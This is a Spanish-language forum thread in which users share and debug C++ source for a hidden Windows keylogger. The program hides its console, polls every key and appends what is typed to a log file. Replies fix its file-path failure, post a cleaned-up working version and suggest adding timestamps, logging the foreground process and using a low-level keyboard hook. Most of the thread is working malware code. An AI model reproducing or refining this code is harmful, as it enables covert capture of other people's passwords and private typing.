Duda con Keylogger C++

Iniciado por WiseHidden, 10 Junio 2011, 23:41 PM

0 Miembros y 1 Visitante están viendo este tema.

WiseHidden

Hola a todos, tengo un par de dudas acerca de este codigo, la primera es q lo e probado en dos de mis equipos, en uno parece que realiza la funcion correctamente, crea un documento de txt en C: pero en el otro equipo no aparece!!

A que puede deberse esto??

La segunda duda es que el keylogger en si es muy sencillo, copia todo lo tecleado en un *.txt pero podria adaptarse algun codigo que te especifique la hora, o algo asi un poco más avanzadooo???

Os expongo aqui el codigo (el creador de este programa es kokehack) Lo encontre en la red.

#include <cstdlib>
#include <iostream>
#include <fstream>
#include <windows.h>

using namespace std;

int main()
{
FreeConsole();
   
     string q="q";
     string w="w";
     string e="e";
     string r="r";
     string t="t";
     string y="y";
     string u="u";
     string i="i";
     string o="o";
     string p="p";
     string a="a";
     string s="s";
     string d="d";
     string f="f";
     string g="g";
     string h="h";
     string j="j";
     string k="k";
     string l="l";
     string z="z";
     string x="x";
     string c="c";
     string v="v";
     string b="b";
     string n="n";
     string m="m";
     string enter="[ENTER]";
     string backspace="[BACKSPACE]";
     string tab="[TAB]";
     string spacebar=" ";



while(1)
{
        Sleep(20);
       
        ofstream log("C:\\log.txt", ios::app);
           
           
           Sleep(20);    
          if(GetAsyncKeyState('Q')==-32767)
          {log << q;}
         
          if (GetAsyncKeyState('W')==-32767)
          {log << w;}
         
          if (GetAsyncKeyState('E')==-32767)
          {log << e;}
         
          if (GetAsyncKeyState('R')==-32767)
          {log << r;}
         
          if (GetAsyncKeyState('T')==-32767)
          {log << t;}
         
          if (GetAsyncKeyState('Y')==-32767)
          {log << y;}
         
          if (GetAsyncKeyState('U')==-32767)
          {log << u;}
         
          if (GetAsyncKeyState('I')==-32767)
          {log << i;}
         
          if (GetAsyncKeyState('O')==-32767)
          {log << o;}
         
          if (GetAsyncKeyState('P')==-32767)
          {log << p;}
         
          if (GetAsyncKeyState('A')==-32767)
          {log << a;}
         
          if (GetAsyncKeyState('S')==-32767)
          {log << s;}
         
          if (GetAsyncKeyState('D')==-32767)
          {log << d;}
         
          if (GetAsyncKeyState('F')==-32767)
          {log << f;}
         
          if (GetAsyncKeyState('G')==-32767)
          {log << g;}
         
          if (GetAsyncKeyState('H')==-32767)
          {log << h;}
         
          if (GetAsyncKeyState('J')==-32767)
          {log << j;}
         
          if (GetAsyncKeyState('K')==-32767)
          {log << k;}
         
          if (GetAsyncKeyState('L')==-32767)
          {log << l;}
         
          if (GetAsyncKeyState('Z')==-32767)
          {log << z;}
         
          if (GetAsyncKeyState('X')==-32767)
          {log << x;}
         
          if (GetAsyncKeyState('C')==-32767)
          {log << c;}
         
          if (GetAsyncKeyState('V')==-32767)
          {log << v;}
         
          if (GetAsyncKeyState('B')==-32767)
          {log << b;}
         
          if (GetAsyncKeyState('N')==-32767)
          {log << n;}
         
          if (GetAsyncKeyState('M')==-32767)
          {log << m;}
         
          if (GetAsyncKeyState('1')==-32767)
          {log << 1;}
         
          if (GetAsyncKeyState('2')==-32767)
          {log << 2;}
         
          if (GetAsyncKeyState('3')==-32767)
          {log << 3;}
         
          if (GetAsyncKeyState('4')==-32767)
          {log << 4;}
         
          if (GetAsyncKeyState('5')==-32767)
          {log << 5;}
         
          if (GetAsyncKeyState('6')==-32767)
          {log << 6;}
         
          if (GetAsyncKeyState('7')==-32767)
          {log << 7;}
         
          if (GetAsyncKeyState('8')==-32767)
          {log << 8;}
         
          if (GetAsyncKeyState('9')==-32767)
          {log << 9;}
         
          if (GetAsyncKeyState('0')==-32767)
          {log << 0;}
         
          if (GetAsyncKeyState(13)==-32767)
          {log << enter;}
         
          if (GetAsyncKeyState(8)==-32767)
          {log << backspace;}
         
          if (GetAsyncKeyState(9)==-32767)
          {log << tab;}
         
          if (GetAsyncKeyState(32)==-32767)
          {log << spacebar;}
         
 
          log.close();
               
}/*while*/
return 0;
}


gracias

Un cordial saludoo

WH
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

WiseHidden

#1
Esto si que es curioso, he pasado a limpio el código en el equipo que si funcionaba, y resulta que ahora tampoco va!!!!

Alguien me puede explicar el porque de esto?? lo agradeceria.

Me he tomado la molestia de comentar la mayoria de las sentencias, si encuentran algun error agradeceria que lo notificaran, asi el codigo sera mas facil de estudiar.

CODIGO:

//KEYLOGGER KEYHIDDEN v0.1 (beta)
// By WiseHidden Junio 2011

#include //Libreria que controla ciertos recursos del sistema operativo.
#include <iostream> //Parte del a STL que contiene los algoritmos estándar de E/S.
#include <fstream> //Flujos hacia/desde ficheros.
#include <windows.h>

using namespace std; //Esto permite al programador tener acceso a todos los miembros del namespace y escribir instrucciones mas concisas

int main() //  Todo programa en Cpp necesita esta funcion
{
   
   FreeConsole(); //Oculta la consola del programa pero el programa trabaja en segundo plano
   string a="a";  // Cadenas de Texto
   string b="b";  // Cadenas de Texto
   string c="c";  // Cadenas de Texto
   string d="d";  // Cadenas de Texto
   string e="e";  // Cadenas de Texto
   string f="f";  // Cadenas de Texto
   string g="g";  // Cadenas de Texto
   string h="h";  // Cadenas de Texto
   string i="i";  // Cadenas de Texto
   string j="j";  // Cadenas de Texto
   string k="k";  // Cadenas de Texto
   string l="l";  // Cadenas de Texto
   string m="m";  // Cadenas de Texto
   string n="n";  // Cadenas de Texto
   string o="o";  // Cadenas de Texto
   string p="p";  // Cadenas de Texto
   string q="q";  // Cadenas de Texto
   string r="r";  // Cadenas de Texto
   string s="s";  // Cadenas de Texto
   string t="t";  // Cadenas de Texto
   string u="u";  // Cadenas de Texto
   string w="w";  // Cadenas de Texto
   string x="x";  // Cadenas de Texto
   string y="y";  // Cadenas de Texto
   string z="z";  // Cadenas de Texto
   string enter="[ENTER]";  // Cadenas de Texto
   string backspace="[BACKSPACE]";  // Cadenas de Texto
   string tab="[TAB]";  // Cadenas de Texto
   string spacebar=" ";  // Cadenas de Texto
   
   while(1) //Nos permite repetir la ejecución de un bloque hasta tanto una condición booleana se vuelva falsa.
   {
      Sleep(20); //Retardado en 0,2 milisegundos
      ofstream log("C:\log.txt", ios::app); //Esta funcion creara un documento .txt en la ruta que le hemos designado
      Sleep(20);  //Retardado en 0,2 milisegundos
     
      if(GetAsyncKeyState('A')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<a;}
      if(GetAsyncKeyState('B')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<b;}
      if(GetAsyncKeyState('C')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<c;}
      if(GetAsyncKeyState('D')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<d;}
      if(GetAsyncKeyState('E')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<e;}
      if(GetAsyncKeyState('F')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<f;}
      if(GetAsyncKeyState('G')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<g;}
      if(GetAsyncKeyState('H')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<h;}
      if(GetAsyncKeyState('I')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<i;}
      if(GetAsyncKeyState('J')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<j;}
      if(GetAsyncKeyState('K')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<k;}
      if(GetAsyncKeyState('L')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<l;}
      if(GetAsyncKeyState('M')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<m;}
      if(GetAsyncKeyState('N')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<n;}
      if(GetAsyncKeyState('O')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<o;}
      if(GetAsyncKeyState('P')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<p;}
      if(GetAsyncKeyState('Q')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<q;}
      if(GetAsyncKeyState('R')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<r;}
      if(GetAsyncKeyState('S')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<s;}
      if(GetAsyncKeyState('T')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<t;}
      if(GetAsyncKeyState('U')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<u;}
      if(GetAsyncKeyState('W')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<w;}
      if(GetAsyncKeyState('X')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<x;}
      if(GetAsyncKeyState('Y')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<y;}
      if(GetAsyncKeyState('Z')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<z;}
      if(GetAsyncKeyState('0')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<0;}
      if(GetAsyncKeyState('1')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<1;}
      if(GetAsyncKeyState('2')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<2;}
      if(GetAsyncKeyState('3')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<3;}
      if(GetAsyncKeyState('4')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<4;}
      if(GetAsyncKeyState('5')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<5;}
      if(GetAsyncKeyState('6')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<6;}
      if(GetAsyncKeyState('7')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<7;}
      if(GetAsyncKeyState('8')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<8;}
      if(GetAsyncKeyState('9')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<9;}
      if(GetAsyncKeyState(13)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<enter;}
      if(GetAsyncKeyState(8)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<backspace;}
      if(GetAsyncKeyState(9)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<tab;}
      if(GetAsyncKeyState(32)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
      {log<<spacebar;}
      log.close();
      }/*while*/
      return 0;
     
           }


UN SALUDO

Atentamente

WiseHidden
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

BlackZeroX

.
Veo que el keylogger es para windows,

Mejor instala un Hook al teclado haci te ahorras el alto consumo del procesador ( While ).

Dulces Lunas!¡.
The Dark Shadow is my passion.

WiseHidden

CitarMejor instala un Hook al teclado haci te ahorras el alto consumo del procesador ( While ).
Y me podrias orientar como??

Citarla primera es q lo e probado en dos de mis equipos, en uno parece que realiza la funcion correctamente, crea un documento de txt en C: pero en el otro equipo no aparece!! A que puede deberse esto??

Sigo sin saber porque no funciona en algunos equipos , puede ser por el S.O?

Citarpodria adaptarse algun codigo que te especifique la hora, o algo asi un poco más avanzadooo???

Una vez resueltas las dudas me gustaria agregarle esto, agradeceria vuestra ayuda


gracias

un saludo

wh
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

fantasma306

#4
Hola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:

#include <cstdlib>

otra cosa, para usar los string necesitas
#include <string>

una cosa mas, no entiendo muy bien para que usar tantas variables string...
si cuando haces los if puedes hacer esto directamente:

log<<"a";

saludos


EDITO:
creo que no tienes permiso para escribir un archivo en C:, lo que puedes hacer es crear una carpeta en C: y dentro de la carpeta escribir el archivo log.
Necesitas:
#include <direct.h>
y para crear la carpeta:
mkdir("C:\\carpeta");


para el tema de poner la hora, se podria escribir la hora en el archivo cada minuto (si toca el teclado), tambien otra cosa mas interesante, es saber cual es el proceso que tiene en primer plano y escribirlo tambien en el archivo
Es mejor callar y que piensen que eres idiota a hablar y demostrarlo.

jaunx

Cita de: WiseHidden en 11 Junio 2011, 12:25 PM
Y me podrias orientar como??
está en inglés y al final, en mi opinión, el autor se enreda un poco... :rolleyes:, pero creo que te servirá
http://www.docdroppers.org/wiki/index.php?title=Writing_Keyloggers



Cita de: WiseHidden en 11 Junio 2011, 12:25 PM
Sigo sin saber porque no funciona en algunos equipos , puede ser por el S.O?
en Vista y Seven, debido a la uac, una aplicación que no se ejecuta como administrador no puede crear/modificar un archivo en c:... Diría que la cosa va por ahí.... :laugh:

WiseHidden

Citaren Vista y Seven, debido a la uac, una aplicación que no se ejecuta como administrador no puede crear/modificar un archivo en c:... Diría que la cosa va por ahí.
Valla!! Viene por defecto no?? Pero se podria quitar? o eso queda limitado siempre?


CitarHola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:
Si, error mio al pegarlo en el post, fue al escribir los comentarios cuando me lo comí sin querer,  :D

luego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea

Citar#include <cstdlib>
#include <iostream>
#include <fstream>
#include <string>
#include <direct.h>
#include <windows.h>

using namespace std;

int main()
{
FreeConsole();
   
      string q="q";
      string w="w";
      string e="e";
      string r="r";
      string t="t";
      string y="y";
      string u="u";
      string i="i";
      string o="o";
      string p="p";
      string a="a";
      string s="s";
      string d="d";
      string f="f";
      string g="g";
      string h="h";
      string j="j";
      string k="k";
      string l="l";
      string z="z";
      string x="x";
      string c="c";
      string v="v";
      string b="b";
      string n="n";
      string m="m";
      string enter="[ENTER]";
      string backspace="[BACKSPACE]";
      string tab="[TAB]";
      string spacebar=" ";



while(1)
{
         Sleep(20);
         
     
            mkdir("C:\\registro\log.txt");
           
            Sleep(20);   
             
           if (GetAsyncKeyState('Q')==-32767)
           {log << q;} <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ERROR>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
           
           if (GetAsyncKeyState('W')==-32767)
           {log << w;}
           
           if (GetAsyncKeyState('E')==-32767)
           {log << e;}
           
           if (GetAsyncKeyState('R')==-32767)
           {log << r;}
           
           if (GetAsyncKeyState('T')==-32767)
           {log << t;}
           
           if (GetAsyncKeyState('Y')==-32767)
           {log << y;}
           
           if (GetAsyncKeyState('U')==-32767)
           {log << u;}
           
           if (GetAsyncKeyState('I')==-32767)
           {log << i;}
           
           if (GetAsyncKeyState('O')==-32767)
           {log << o;}
           
           if (GetAsyncKeyState('P')==-32767)
           {log << p;}
           
           if (GetAsyncKeyState('A')==-32767)
           {log << a;}
           
           if (GetAsyncKeyState('S')==-32767)
           {log << s;}
           
           if (GetAsyncKeyState('D')==-32767)
           {log << d;}
           
           if (GetAsyncKeyState('F')==-32767)
           {log << f;}
           
           if (GetAsyncKeyState('G')==-32767)
           {log << g;}
           
           if (GetAsyncKeyState('H')==-32767)
           {log << h;}
           
           if (GetAsyncKeyState('J')==-32767)
           {log << j;}
           
           if (GetAsyncKeyState('K')==-32767)
           {log << k;}
           
           if (GetAsyncKeyState('L')==-32767)
           {log << l;}
           
           if (GetAsyncKeyState('Z')==-32767)
           {log << z;}
           
           if (GetAsyncKeyState('X')==-32767)
           {log << x;}
           
           if (GetAsyncKeyState('C')==-32767)
           {log << c;}
           
           if (GetAsyncKeyState('V')==-32767)
           {log << v;}
           
           if (GetAsyncKeyState('B')==-32767)
           {log << b;}
           
           if (GetAsyncKeyState('N')==-32767)
           {log << n;}
           
           if (GetAsyncKeyState('M')==-32767)
           {log << m;}
           
           if (GetAsyncKeyState('1')==-32767)
           {log << 1;}
           
           if (GetAsyncKeyState('2')==-32767)
           {log << 2;}
           
           if (GetAsyncKeyState('3')==-32767)
           {log << 3;}
           
           if (GetAsyncKeyState('4')==-32767)
           {log << 4;}
           
           if (GetAsyncKeyState('5')==-32767)
           {log << 5;}
           
           if (GetAsyncKeyState('6')==-32767)
           {log << 6;}
           
           if (GetAsyncKeyState('7')==-32767)
           {log << 7;}
           
           if (GetAsyncKeyState('8')==-32767)
           {log << 8;}
           
           if (GetAsyncKeyState('9')==-32767)
           {log << 9;}
           
           if (GetAsyncKeyState('0')==-32767)
           {log << 0;}
           
           if (GetAsyncKeyState(13)==-32767)
           {log << enter;}
           
           if (GetAsyncKeyState(8)==-32767)
           {log << backspace;}
           
           if (GetAsyncKeyState(9)==-32767)
           {log << tab;}
           
           if (GetAsyncKeyState(32)==-32767)
           {log << spacebar;}
           
 
           log.close();
                 
}/*while*/
return 0;
}
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

fantasma306

#7
Citarluego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea

bueno eso es por que mkdir es para crear un carpeta, y no un archivo.

modifique un poco el codigo, asi es como me quedo:

#include <fstream>
#include <windows.h>
#include <string>
#include <direct.h>
using namespace std;

int main(){
FreeConsole();
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
mkdir("C:\\registro");

while(true){
Sleep(20);
ofstream log("C:\\registro\\log.txt", ios_base::app);
if(log.is_open()){
if (GetAsyncKeyState('Q')==-32767)log << "q";
if (GetAsyncKeyState('W')==-32767)log << "w";
if (GetAsyncKeyState('E')==-32767)log << "e";
if (GetAsyncKeyState('R')==-32767)log << "r";
if (GetAsyncKeyState('T')==-32767)log << "t";
if (GetAsyncKeyState('Y')==-32767)log << "y";
if (GetAsyncKeyState('U')==-32767)log << "u";
if (GetAsyncKeyState('I')==-32767)log << "i";
if (GetAsyncKeyState('O')==-32767)log << "o";
if (GetAsyncKeyState('P')==-32767)log << "p";
if (GetAsyncKeyState('A')==-32767)log << "a";
if (GetAsyncKeyState('S')==-32767)log << "s";
if (GetAsyncKeyState('D')==-32767)log << "d";
if (GetAsyncKeyState('F')==-32767)log << "f";
if (GetAsyncKeyState('G')==-32767)log << "g";
if (GetAsyncKeyState('H')==-32767)log << "h";
if (GetAsyncKeyState('J')==-32767)log << "j";
if (GetAsyncKeyState('K')==-32767)log << "k";
if (GetAsyncKeyState('L')==-32767)log << "l";
if (GetAsyncKeyState('Z')==-32767)log << "z";
if (GetAsyncKeyState('X')==-32767)log << "x";
if (GetAsyncKeyState('C')==-32767)log << "c";
if (GetAsyncKeyState('V')==-32767)log << "v";
if (GetAsyncKeyState('B')==-32767)log << "b";
if (GetAsyncKeyState('N')==-32767)log << "n";
if (GetAsyncKeyState('M')==-32767)log << "m";
if (GetAsyncKeyState('1')==-32767)log << "1";
if (GetAsyncKeyState('2')==-32767)log << "2";
if (GetAsyncKeyState('3')==-32767)log << "3";
if (GetAsyncKeyState('4')==-32767)log << "4";
if (GetAsyncKeyState('5')==-32767)log << "5";
if (GetAsyncKeyState('6')==-32767)log << "6";
if (GetAsyncKeyState('7')==-32767)log << "7";
if (GetAsyncKeyState('8')==-32767)log << "8";
if (GetAsyncKeyState('9')==-32767)log << "9";
if (GetAsyncKeyState('0')==-32767)log << "0";
if (GetAsyncKeyState(13) ==-32767)log << enter;
if (GetAsyncKeyState( 8) ==-32767)log << backspace;
if (GetAsyncKeyState( 9) ==-32767)log << tab;
if (GetAsyncKeyState(32) ==-32767)log << " ";

log.close();
}
}
return 0;
}
Es mejor callar y que piensen que eres idiota a hablar y demostrarlo.

WiseHidden

Perfecto Fantasma306 has dado en el clavo, me has dado el toque que me faltaba, ademas de que tu codigo es mas limpio y "chupa" menos de la CPU que el mio.

Mil gracias, espero estemos mas en contacto
gracias tambien a jaunx y a BlackZeroX por su ayuda tambien

un cordial saludooooo
Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)

BlackZeroX

#9
Con un hook tendrás de consumo prácticamente 0% del uso del procesador.

http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx

debes instalar el hook hacia el mensaje WH_KEYBOARD_LL

Dulces Lunas!¡.
The Dark Shadow is my passion.